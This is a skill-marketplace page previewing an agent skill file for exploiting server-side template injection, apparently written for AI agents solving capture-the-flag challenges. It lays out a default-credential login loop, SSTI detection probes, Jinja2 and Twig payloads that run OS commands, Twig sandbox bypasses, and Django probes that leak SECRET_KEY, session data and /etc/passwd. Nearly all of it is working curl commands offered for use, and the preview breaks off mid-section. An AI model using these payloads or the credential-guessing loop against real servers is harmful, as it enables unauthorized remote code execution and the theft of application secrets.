Skip to main content

exploit-ssti

Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 2일 18:57
감지된 SKILL.md 언어
영어
스타
5,522
포크
1,048

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
exploit-ssti
description
Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako"}
# Server-Side Template Injection (SSTI) Exploits template engines that render user input, achieving RCE by injecting template directives. ## Default Credentials Fast-Path (when `default_credentials` is a co-tag) When `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing: ```bash # Try top default credential pairs in your FIRST exploit bash call for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do user="${creds%%:*}"; pass="${creds##*:}" resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null) code=$(echo "$resp" | tail -1) [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break done ``` A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials. ## Detection — Universal Probes ```bash # Polyglot detection string curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt # Math-based detection curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat) ``` ## Jinja2 (Python — Flask/Django) ```bash # Confirm Jinja2 curl -s 'https://<TARGET>/page?input={{config}}' # RCE via MRO chain PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}' curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt # Common RCE payloads # {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # {{cycler.__init__.__globals__.os.popen('id').read()}} ``` ## Django (engine.from_string) When the target is **Django** (not Flask/Jinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2. **Identify Django (vs Flask/Jinja2):** ```bash # Response header tells: Django sets X-Frame-Options: DENY by default curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django' # CSRF cookie name: csrftoken (Django) vs session (Flask) # HTML contains: name="csrfmiddlewaretoken" inputs curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token' # Admin route exists curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django # Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken' ``` **Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work: - `{{request.application.__globals__}}` — Django has no `application` - `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin - `{{"".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty) - `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied Django template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`). **Productive paths for `engine.from_string` SSTI:** ```bash # 1. Settings leak (works when 'django.template.context_processors.debug' or # a custom processor injects `settings` into context) curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}" curl -s "http://<TARGET>/page?input={{settings.DATABASES}}" curl -s "http://<TARGET>/page?input={{settings.DEBUG}}" curl -s "http://<TARGET>/page?input={{settings|pprint}}" # 2. Request / session / META leak (when `request` is in the context) curl -s "http://<TARGET>/page?input={{request.session.items}}" curl -s "http://<TARGET>/page?input={{request.session.flag}}" curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}" curl -s "http://<TARGET>/page?input={{request.user.is_staff}}" curl -s "http://<TARGET>/page?input={{request.environ}}" # 3. {% include %} path traversal (when an attacker-controlled path reaches include) curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}" # 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`) # Server template: "Hello PLACEHOLDER!" → Payload: {{ request.session.flag }} # Rendered: "Hello <session-flag-value>!" curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render" # 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain # Works when: # - The django.contrib.messages context processor is active (default in startproject) # - {% %} tag syntax is filtered/blocked but {{ }} expressions still evaluate # - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty) # Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is # `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed # attribute access, no filter bypass needed. curl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' "http://<TARGET>/render" # Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY. # When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot), # this single probe is the entire exploit. ``` **RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`/`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon. **Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths): | Context object | Source processor | Useful disclosure | |---|---|---| | `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` | | `request.session.*` | `django.template.context_processors.request` | session keys / per-user secrets | | `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash | | `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) | | `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) | **3-strike pivot:** After 3 probes against `{{settings.*}}` / `{{request.session.*}}` / `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `/admin/` and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map. ## Twig (PHP — Symfony) ```bash # Confirm Twig curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}' # RCE payloads # Twig 1.x: # {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} # Twig 3.x: # {{['id']|filter('system')}} # {{['id']|map('system')}} curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txt ``` **Multi-surface rendering rule (MANDATORY for stored-input apps).** When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.** Test EVERY rendering surface before concluding SSTI is unavailable: ```bash # 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag) curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}' NEW_ID="<extract from redirect or list>" # 2. PROBE each rendering surface — the one that evaluates wins for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do echo "=== ${path} ===" curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt # 49/50 → evaluated → THIS surface is the SSTI sink grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3 done ``` **Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\Environment` instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI. **Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`/`filter` are not whitelisted): ```bash # Twig 1.x — register undefined filter callback to call arbitrary PHP function curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}' # Twig 2.x/3.x — use map/filter with system curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}' # Class-injection gadget (when filters blocked)
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기